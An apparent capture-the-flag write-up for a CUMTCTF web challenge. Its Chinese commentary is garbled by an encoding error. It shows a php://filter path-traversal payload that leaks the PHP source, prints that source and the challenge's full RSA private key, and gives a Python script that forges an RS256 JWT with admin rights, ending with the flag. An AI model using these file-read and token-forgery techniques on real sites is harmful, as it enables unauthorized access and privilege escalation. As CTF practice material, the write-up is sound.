ไฝฟ็จpath=php://filter/convert.quoted-printable-encode/resource=/x/../proc/self/cwd/index.php
ๅฏไปฅ็ๅคง่ด่ฏปๅไปฃ็
"fe1w0/fba60b53-0016-41ef-8c12-615c02768b12_fe1w0_own_rsa_private_key.pem",=0A 'public'=3D>'fe1w0/fba60b53-0016-41ef-8c12-615c02768b12_fe1w0_own_rsa_public_key.pem'=0A);=0Aif(file_exists($arr['private']))=0A{=0A$privateKey =3D file_get_contents('fe1w0/fba60b53-0016-41ef-8c12-615c02768b12_fe1w0_own_rsa_private_key.pem');=0A}=0Aelse {=0A$privateKey =3D << "=E2=9B=8F=EF=B8=8F=F0=9F=A7=91=E2=80=8D=F0=9F=8E=93",=0A "aud" =3D> "=F0=9F=A6=8C=F0=9F=A5=9A",=0A 'admin' =3D> false,=0A "nbf" =3D> time(),=0A "hint" =3D> 'post path'=0A);=0A$jwt =3D JWT::encode($payload, $privateKey, 'RS256');=0Asetcookie("Authorization", $jwt, time()+3600);=0A$decoded =3D JWT::decode($jwt, $publicKey, array('RS256'));=0A$decoded_array =3D (array) $decoded;=0Aecho "";=0Aif(preg_match('/index.php/',$_SERVER['PHP_SELF']))=0A{=0A echo "=E4=BD=A0=E5=B7=B2=E7=BB=8F=E8=A2=AB=E9=99=84=E9=AD=94=E4=BA=86,=E5=BF=AB=E4=B8=8A=F0=9F=91=8D=F0=9F=91=8C=F0=9F=99=8C";=0A}=0A?>
ๅพๅฐ็ง้ฅๅฐๅfe1w0/fba60b53-0016-41ef-8c12-615c02768b12_fe1w0_own_rsa_private_key.pem
-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQC1zdpFyJ3i3HN50FyDMjLZvw8/aTQsI1GgIPg8bmQQFuopdPw3
VtYjDf0ncUgQKPyeP7atudWVkMbRXNVpE+fSYpNah84Bk2QS51Wvu+pJu8x7/XTG
yc1EH6CRtwdaRC8mYDmcxx80L/VnJBWtw+Itvc4WaSG+Xd+SUpcTFRsI+wIDAQAB
AoGAHabqf9E9tx+fkfGi9R793jfkQ8Jj6QMFsClQc4LJvToPjR1weZInMOZ6MLGw
QDp/IUxg/iq+JDvNwZ3zjMTbXVWo8eul1JLK+h8wx4ZNIX8RYhHIxa6LBZC2R8+4
Hhj6D20shrxP9FBuTN3+QZm2WrzxAaCQ76s2aUy4qGULhckCQQDYHdeldSKs8XQQ
C3t62mtLKgSMJD16AJtNgymcfZJux1oM9waU0d2R9gpWR+AE8DWWqun2FDxnu2mt
qnw5VYENAkEA11r1/zZzECGZo8zPO1KAk2OF54LLw9f2EL9X0Vlh4HdtgIznv+as
nKRACHplZalFT+4cb+0AiGzPc6kMRI3gJwJAE8uv/Azdrz+ypOGYXulw2IKxxfBv
3SP/FbuE7TunVRRXkEZ0SN9sTzldOwf8YhdqoTFomszBt7K3/FtYY5wMZQJBAL+Q
iUyJadcKnHmpgRna7Mau+/kRTyKZ46fIHVz7LmaWtdBpBumcTyVTsiYYgkPpS9+r
Bp7FavjwGaVf1arRrXcCQQC2iwZQasQ4jl5r3e4h61ILcedud0pf+71gx+c/v3lq
eQl+1MjCZSAs/6z9RbeueqzL8Ja1TLxr8Vvl2yGZREMe
-----END RSA PRIVATE KEY-----
ๆ้ admin
๏ผ่ทๅพflag
import jwt
import base64
import os
from flask import Flask, render_template, make_response, request, redirect
with open("rsa_private_key.pem", "r") as f:
PUBLIC_KEY = f.read()
payload = {
"iss" : "โ๏ธ๐งโ๐",
"aud" : "๐ฆ๐ฅ",
'admin' : 1,
"nbf" : 1600441811,
"note" : 'fe1w0'
}
auth = jwt.encode(payload, PUBLIC_KEY, algorithm="RS256")
print(auth)
# CUMTCTF{J^^T_L1k*_em0ji}
่ฅๆ็บฐๆผๆ้่ฏฏ,้บป็ฆๆงๆญฃ@[็คผ็ฉ]